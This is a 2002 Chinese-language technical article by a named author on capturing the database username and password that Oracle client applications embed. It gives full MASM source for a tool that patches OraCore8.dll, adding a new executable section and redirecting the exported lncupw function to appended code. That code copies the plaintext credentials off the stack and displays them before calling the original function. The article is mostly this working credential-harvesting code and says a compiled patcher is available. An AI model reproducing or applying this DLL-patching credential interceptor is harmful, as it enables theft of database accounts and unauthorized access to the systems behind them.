如何截获Oracle数据库连接密码

如何截获Oracle数据库连接密码


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如何截获Oracle数据库连接密码
作者：罗云彬·发布日期：2002-12-6·阅读次数：15957


概述
Oracle 系统是应用最广泛的服务器/客户端类型的数据库系统，其密码验证等安全措施也做得比较严格，但是通过本文所描述的方法，我们还是有机会从应用程序中截获数据库连接的用户名和密码。

原理

大部分的服务器/客户端系统的结构可以这样描述：

客户端 <---(1)---> 系统TCP/IP模块 <---(2)---> 网络 <----> 系统的TCP/IP模块 <----> 服务端

对于这些系统，一般的安全问题出在由(2)所示的地方，比如说当使用 POP3 协议收取邮件，或者用 Telnet 登录到远程主机的时候，其登录密码都是未经加密的，只要在网络上安装一个嗅探器 (Sniffer) 来监听数据包，就可以很容易地截获用户名和密码。

但对于 Oracle 系统来说，用户名和密码在网络上传递之前，是经过加密的，而且加密的算法是不可逆的，即使使用嗅探器探听到数据包，开始无法把数据库的连接密码恢复出来，Oracle 系统的结构可以如下描述：

客户端应用程序 <--(1)--> Oracle客户端软件 <---(2)---> 系统TCP/IP模块 <---(3)---> 网络 <--> 系统的TCP/IP模块 <---> Oracle数据库

对于这一类系统，所有在(2)或者(3)处监听到的登录数据包都是已经经过加密的，但是，考虑一下我们编写 Oracle 数据库应用程序的时候，无论是通过 ODBC 还是 Pro C，或者其他的 BDE 环境等，都是将数据库连接的用户名和密码用明文的方式传递给 Oracle 客户端驱动程序的，所以在(1)位置的数据流肯定明文的，密码是在 Oracle 客户端软件中被加密后才经过(2)、(3)等步骤发送出去，如果在(1)的位置进行拦截，就可能拦截到密码。

考虑到步骤(1)发生在应用程序到 Oracle 系统的调用中，也就是发生在 API 调用的层次，所以只要找到密码加密模块的入口，在对相应的 API 进行 Hook，就能截获到密码了。

有人可能存在一个疑问：使用 Sniffer 可以监听到网络上其他计算机的连接数据包，而在 API 层次上进行拦截是针对本机的，但要是自己能够在本机上连接，就表示已经知道密码了，再去截获不是多此一举吗？

非也！

实际上大部分的 Oracle 应用程序都包括一个用户开发的客户端，这个客户端可能是用 C、PowerBuilder 和其他语言开发的，这些软件提供一个界面提示用户输入用户名和密码登录系统，但是这个用户名和密码并不是数据库的连接用户名和密码，而仅仅是一个类似

于 users 表中的一条记录而已，而程序内部内置的数据库
连接帐号才是我们的目标，一般来说，客户端应用程序是这样工作的：

1. 使用一个内置的数据库连接帐号连接到数据库。
2. 弹出一个对话框提示用户输入用户名 xxx 和密码 yyy
3. 使用类似于 select * from users where username='xxx' and password='yyy' 一类的 SQL 语句查询用户是否有权登录系统。

我们的目标就是步骤1中的连接帐号，这个帐号存在于客户端软件中，虽然可能已经被静态加密（也就是说用16进制软件去搜寻可执行文件时并不能被找到），但它运行后需要连接数据库的时候必然会被解密并用明文传递到 Oracle 客户端软件中。

方法

好了，现在来看看具体的实现方法。

1. 相关的调用

第一步当然要知道在哪里下手，经过了一番跟踪以后（这里省去跟踪的步骤 n 步，大家可以尝试自己跟踪一下），就可以发现用户名和密码是在 OraCore8.dll 模块中的 lncupw 函数中被加密的，而且这个函数的调用方法如下：

invoke lncupw,addr Output,1eh,addr szPassword,dwLenPass,addr szUserName,dwLenName,NULL,1

函数的入口参数包括明文的数据库连接用户名和密码，以及他们的长度，运行的结果是在第一个参数Output指定的缓冲区中返回加密后的数据，以后这个加密后的数据会被发送到服务器端进行认证。

2. 具体的实现方案

我们的方法就是在对 OraCore8.dll 进行补丁，在 dll 文件中附加一段代码，然后修改 dll 的导出表中 lncupw 函数对应的入口地址，将它指向到附加的代码中，然后由这段代码在堆栈中取出用户名和密码并显示出来，完成这个步骤后再跳转到原始的 lncupw 函数的入口地址去执行原有的功能。

这个方案涉及到两个技术问题，第一是对 dll 文件的修改问题，这个问题可以归结为在 PE 文件后添加可执行代码的方法问题，第二就是写被附加到 dll 文件后的程序体的问题。

对 dll 文件的修改代码的片断如下，在这以前，我们假定已经做了其他这样一些工作：

※ 文件名字符串放在 szFileName 指定的缓冲区中。
※ 已经对文件进行校验，找到了导出表中的 lncupw 项目，这个项目在文件中的 Offset 放在 dwOffsetPeHeand 中，lncupw 的原始入口RVA放在 dwProcEntry 变量中。
※ 找出了 dll 文件中的 PE 文件头位置，并拷贝 PE 文件头到 lpPeHead 指定的位置中。


invoke CreateFile,addr szFileName,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or \
FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
.if eax == INVALID_HANDLE_VALUE
invoke MessageBox,hWinMain,addr szErrModify,NULL,MB_OK or MB_ICONERROR
jmp _Ret
.endif
mov @hFile,eax
;*

***************************************************************
****
; esi --> 原PeHead
; edx --> 最后一个节表，ebx --> 新加的节表
;********************************************************************
mov esi,lpPeHead
assume esi:ptr IMAGE_NT_HEADERS
movzx eax,[esi].FileHeader.NumberOfSections
dec eax
mov ecx,sizeof IMAGE_SECTION_HEADER
mul ecx

mov edx,esi
add edx,eax
add edx,sizeof IMAGE_NT_HEADERS
mov ebx,edx
add ebx,sizeof IMAGE_SECTION_HEADER
assume ebx:ptr IMAGE_SECTION_HEADER,edx:ptr IMAGE_SECTION_HEADER
;********************************************************************
; 加入一个新的节，并修正一些PE头部的内容
;********************************************************************
inc [esi].FileHeader.NumberOfSections
mov eax,[edx].PointerToRawData
add eax,[edx].SizeOfRawData
mov [ebx].PointerToRawData,eax
invoke _Align,offset APPEND_CODE_END-offset APPEND_CODE,[esi].OptionalHeader.FileAlignment
mov [ebx].SizeOfRawData,eax
invoke _Align,offset APPEND_CODE_END-offset APPEND_CODE,[esi].OptionalHeader.SectionAlignment
add [esi].OptionalHeader.SizeOfCode,eax ;修正SizeOfCode
add [esi].OptionalHeader.SizeOfImage,eax ;修正SizeOfImage
invoke _Align,[edx].Misc.VirtualSize,[esi].OptionalHeader.SectionAlignment
add eax,[edx].VirtualAddress
mov [ebx].VirtualAddress,eax
mov [ebx].Misc.VirtualSize,offset APPEND_CODE_END-offset APPEND_CODE
mov [ebx].Characteristics,IMAGE_SCN_CNT_CODE\
or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
invoke lstrcpy,addr [ebx].Name1,addr szMySection
;********************************************************************
; 写文件
;********************************************************************
invoke SetFilePointer,@hFile,dwOffsetPeHead,NULL,FILE_BEGIN
invoke WriteFile,@hFile,esi,[esi].OptionalHeader.SizeOfHeaders,\
addr @dwTemp,NULL
invoke SetFilePointer,@hFile,[ebx].PointerToRawData,NULL,FILE_BEGIN
invoke WriteFile,@hFile,offset APPEND_CODE,[ebx].Misc.VirtualSize,\
addr @dwTemp,NULL
mov eax,[ebx].PointerToRawData
add eax,[ebx].SizeOfRawData
invoke SetFilePointer,@hFile,eax,NULL,FILE_BEGIN
invoke SetEndOfFile,@hFile
;********************************************************************
; 修正新加代码中的 Jmp oldEntry 指令
;********************************************************************
mov eax,[ebx].VirtualAddress
add eax,(offset _dwOldEntry-offset APPEND_CODE+4)
sub dwProcEntry,eax
mov ecx,[ebx].PointerToRawData
add ecx,(offset _dwOldEntry-offset APPEND_CODE)
invoke SetFilePointer,@hFile,ecx,NULL,FILE_BEGIN
invoke WriteFile,@hFile,addr dwProcEntry,4,addr @dwTemp,NULL
;********************************************************************
; 修正入口指针
;********************************************************************
mov eax,[ebx].VirtualAddress
add eax,(offset _NewEntry-offset APPEND_CODE)
mov dwProcEntry,eax
invo

ke SetFilePointer,@hFile,
dwOffsetProc,NULL,FILE_BEGIN
invoke WriteFile,@hFile,addr dwProcEntry,4,addr @dwTemp,NULL
;********************************************************************
; 关闭文件
;********************************************************************
invoke CloseHandle,@hFile
_Ret:
; 修改完成



这段代码完成了3个步骤，首先是扫描PE文件头中的节表，并在最后添加一个新的节，以便把附加的代码写到这个节中，这个节的属性被设置为可执行、可读、可写，因为代码运行需要的数据区也放在这里。然后程序修改附加代码最后的 jmp 指令，将它指到原始的 lncupw 函数中。最后程序在 dll 的导出表中将 lncupw 函数的入口地址指向附加代码中。

下面是被附加到 dll 后的代码，这段代码被写成可以自我定位的格式，代码首先在内存中找出 Kernel32.dll 的位置并从中找出 LoadLibrary 函数和 GetProcAddress 函数的地址，然后调用这两个函数获取其他一系列要用到的函数的入口地址：


;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 要被添加到 OraCore8.dll 文件后面的执行代码
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;
;
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 一些函数的原形定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProtoGetProcAddress typedef proto :dword,:dword
_ProtoLoadLibrary typedef proto :dword
_ProtoMessageBox typedef proto :dword,:dword,:dword,:dword
_Protowsprintf typedef proto c :dword,:VARARG
_ApiGetProcAddress typedef ptr _ProtoGetProcAddress
_ApiLoadLibrary typedef ptr _ProtoLoadLibrary
_ApiMessageBox typedef ptr _ProtoMessageBox
_Apiwsprintf typedef ptr _Protowsprintf
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

>>
;
;
APPEND_CODE equ this byte
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 被添加到目标文件中的代码从这里开始
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
hDllKernel32 dd ?
hDllUser32 dd ?
_GetProcAddress _ApiGetProcAddress ?
_LoadLibrary _ApiLoadLibrary ?
_MessageBox _ApiMessageBox ?
_wsprintf _Apiwsprintf ?
szLoadLibrary db 'LoadLibraryA',0
szGetProcAddress db 'GetProcAddress',0
szUser32 db 'user32',0
szMessageBox db 'MessageBoxA',0
szwsprintf db 'wsprintfA',0
szCaption db 'Oracle 8i 密码截取补丁',0
szFormatPwd db '截获 Oracle 连接：',0dh,0ah,0dh,0ah
db '用户名：%s',0dh,0ah
db '密 码：%s',0
szTmpBuffer db 512 dup (?)
szUserName db 64 dup (?)
szPassWord db 64 dup (?)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 错误 Handler
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_SEHHandler proc _lpExceptionRecord,_lpSEH,_lpContext,_lpDispatcherContext

pushad
mov esi,_lpExceptionRecord
m
ov edi,_lpContext
assume esi:ptr EXCEPTION_RECORD,edi:ptr CONTEXT
mov eax,_lpSEH
push [eax + 0ch]
pop [edi].regEbp
push [eax + 8]
pop [edi].regEip
push eax
pop [edi].regEsp
assume esi:nothing,edi:nothing
popad
mov eax,ExceptionContinueExecution
ret

_SEHHandler endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 在内存中扫描 Kernel32.dll 的基址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
szKernel32 db 'KERNEL32'
_GetKernelBase proc _dwKernelRet
local @dwReturn

pushad
mov @dwRe

turn,0
;********************************************************************
; 重定位
;********************************************************************
call @F
@@:
pop ebx
sub ebx,offset @B
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
assume fs:nothing
push ebp
lea eax,[ebx + offset _PageError]
push eax
lea eax,[ebx + offset _SEHHandler]
push eax
push fs:[0]
mov fs:[0],esp
;********************************************************************
; 查找 Kernel32.dll 的基地址
;********************************************************************
mov edi,_dwKernelRet
and edi,0ffff0000h
.while TRUE
.if word ptr [edi] == IMAGE_DOS_SIGNATURE
mov esi,edi
add esi,[esi+003ch]
.if word ptr [esi] == IMAGE_NT_SIGNATURE
assume esi:ptr IMAGE_NT_HEADERS
mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress
add esi,edi
assume esi:ptr IMAGE_EXPORT_DIRECTORY
mov esi,[esi].nName
add esi,edi
mov ecx,sizeof szKernel32
push edi
lea edi,[ebx+szKernel32]
cld
repz cmpsb
pop edi
.if ZERO?
mov @dwReturn,edi
.break
.endif
assume esi:nothing
.endif
.endif
_PageError:
sub edi,010000h
.break .if edi < 70000000h
.endw
pop fs:[0]
add esp,0ch
popad
mov eax,@dwReturn
ret

_GetKernelBase endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 从内存中模块的导出表中获取某个 API 的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_GetApi proc _hModule,_lpszApi
local @dwReturn,@dwStringLength

pushad
mov @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
call @F
@@:
pop ebx
sub ebx,offset @B
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
assume fs:nothing
push ebp
lea eax,[ebx + offset _Error]
push eax
lea eax,[ebx + offset _SEHHandler]
push eax
push fs:[0]
mov fs:[0],esp
;*
*******************************************************************
; 计算 API 字符串的长度（带尾部的0）
;********************************************************************
mov edi,_lpszApi
mov ecx,-1
xor al,al
cld
repnz scasb
mov ecx,edi
sub ecx,_lpszApi
mov @dwStringLength,ecx
;************

********************************************************
; 从 PE 文件头的数据目录获取导出表地址
;********************************************************************
mov esi,_hModule
add esi,[esi + 3ch]
assume esi:ptr IMAGE_NT_HEADERS
mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress
add esi,_hModule
assume esi:ptr IMAGE_EXPORT_DIRECTORY
;********************************************************************
; 查找符合名称的导出函数名
;********************************************************************
mov ebx,[esi].AddressOfNames
add ebx,_hModule
xor edx,edx
.repeat
push esi
mov edi,[ebx]
add edi,_hModule
mov esi,_lpszApi
mov ecx,@dwStringLength
repz cmpsb
.if ZERO?
pop esi
jmp @F
.endif
pop esi
add ebx,4
inc edx
.until edx >= [esi].NumberOfNames
jmp _Error
@@:
;********************************************************************
; API名称索引 --> 序号索引 --> 地址索引
;********************************************************************
sub ebx,[esi].AddressOfNames
sub ebx,_hModule
shr ebx,1
add ebx,[esi].AddressOfNameOrdinals
add ebx,_hModule
movzx eax,word ptr [ebx]
shl eax,2
add eax,[esi].AddressOfFunctions
add eax,_hModule
;********************************************************************
; 从地址表得到导出函数地址
;********************************************************************
mov eax,[eax]
add eax,_hModule
mov @dwReturn,eax
_Error:
pop fs:[0]
add esp,0ch
assume esi:nothing
popad
mov eax,@dwReturn
ret

_GetApi endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 新的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_NewEntry:
;********************************************************************
; 重定位并获取一些 API 的入口地址
;********************************************************************
pushad
call @F
@@:
pop ebx
sub ebx,offset @B
;********************************************************************
.if dword ptr [ebx+_MessageBox]
jmp @F
.endif
;********************************************************************
invoke _GetKernelBase,7b000000h ;获取Kernel32.dll基址
or eax,eax
jz _ToOldEntry
mov [ebx+hDllKernel32],eax ;获取GetProcAddress入口

lea eax,[ebx+szGetProcAddress]
invoke _GetApi,[ebx+hDllKernel32],eax
or eax,eax
jz _ToOldEntry
mov [ebx+_GetProcAddress],eax

lea eax,[ebx+szLoadLibrary] ;获取LoadLibrary入口
invoke [ebx+
_GetP

rocAddress],[ebx+hDllKernel32],eax
or eax,eax
jz _ToOldEntry
mov [ebx+_LoadLibrary],eax

lea eax,[ebx+szUser32] ;获取User32.dll基址
invoke [ebx+_LoadLibrary],eax
or eax,eax
jz _ToOldEntry
mov [ebx+hDllUser32],eax

lea eax,[ebx+szMessageBox] ;获取MessageBox入口
invoke [ebx+_GetProcAddress],[ebx+hDllUser32],eax
mov [ebx+_MessageBox],eax
or eax,eax
jz _ToOldEntry

lea eax,[ebx+szwsprintf] ;获取MessageBox入口
invoke [ebx+_GetProcAddress],[ebx+hDllUser32],eax
mov [ebx+_wsprintf],eax
or eax,eax
jz _ToOldEntry
;********************************************************************
; 程序功能开始
;********************************************************************
; lncupw 的调用方式是：
; invoke lncupw,addr Output,1eh,addr szPassword,dwLenPass,addr szUserName,dwLenName,NULL,1
; 现在的堆栈内容是：
; ...
; esp+14*4 dwLenUserName
; esp+13*4 addr szUserName
; esp+12*4 dwLenPass
; esp+11*4 addr szPassword
; esp+10*4 1eh
; esp+9*4 addr Output
; esp+8*4 call's return address
; esp+到esp+8*4 pusha 推入堆栈的8个寄存器值
;
; 所以，从 esp+13*4 和 esp+11*4 取出的就是 Oracle 应用程序
; 传递进来的用来连接数据库的用户名和密码地址。
;********************************************************************
@@:
mov esi,[esp+13*4] ;username
lea edi,[ebx+szUserName]
mov ecx,[esp+14*4]
cmp ecx,60
jle @F
mov ecx,60
@@:
cld
rep movsb
xor eax,eax
stosb

mov esi,[esp+11*4] ;password
lea edi,[ebx+szPassWord]
mov ecx,[esp+12*4]
cmp ecx,60
jle @F
mov ecx,60
@@:
rep movsb
xor eax,eax
stosb

lea eax,[ebx+szUserName]
lea ecx,[ebx+szPassWord]
lea edx,[ebx+szFormatPwd]
lea esi,[ebx+szTmpBuffer]
invoke [ebx+_wsprintf],esi,edx,eax,ecx

lea ecx,[ebx+szTmpBuffer]
lea eax,[ebx+szCaption]
invoke [ebx+_MessageBox],NULL,ecx,eax,MB_OK or MB_ICONINFORMATION or MB_SERVICE_NOTIFICATION
;********************************************************************
; 执行原来的文件
;********************************************************************
_ToOldEntry:
popad
db 0e9h ;0e9h是jmp xxxxxxxx的机器码
_dwOldEntry:
dd ? ;用来填入原来的 lncupw 函数的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
APPEND_CODE_END equ this byte



对 OraCore8.dll 进行了这样的补丁以后，凡是有应用程序连接 Oracle 数据库，附加代码就可以截获到连接所用的用户名和密码并通过一个 MessageBox 显示出来了！

其他

1. Oracle 客户端的版本问题

OraCore8.dll 仅存在于 Oracle 8.1.0 以上的版本中，Oracle 7.x 版本中并不存在这个 dll 文件，也没有其他 dll 包含 lncupw 函数，而 Oracle 8.0.x 版本中仅在服务器端存

在 OraCore8.dll 文件。所以本程序仅仅适用于 Oracle 8.1.0 以上版本。

不过这又有
什么关系呢！如果有需要跟踪的客户端软件，那么这个软件一般并不会要求特定的 Oracle 客户端的版本，只要在自己机器上安装一个 8.1.x 版本后再进行密码截获就是了，这就是软件分层结构带来的好处！

2. 已经编译好的补丁软件可以在作品发布中找到。

3. 可以参考的资料

由于时间关系，本文不可能把涉及的 PE 文件的相关结构一一具体说明，如果需要这方面的资料，可以参考我写的那本《Windows环境下32位汇编语言程序设计》（电子工业出版社出版）一书中的以下章节：

--> 17.1 节：PE文件的结构
--> 17.3 节：导出表
--> 17.6.1 节：动态获取API入口地址
--> 17.6.2 节：在PE文件上添加执行代码

慢着！慢着！不要扔砖头！我又不是为了给自己的书做广告＃￥％！◎……×……那个谁谁谁，拜托你要扔也扔些玉嘛……



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